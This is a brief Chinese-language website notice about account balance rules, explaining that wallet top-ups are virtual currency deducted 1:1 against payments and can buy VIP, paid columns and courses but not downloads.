1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值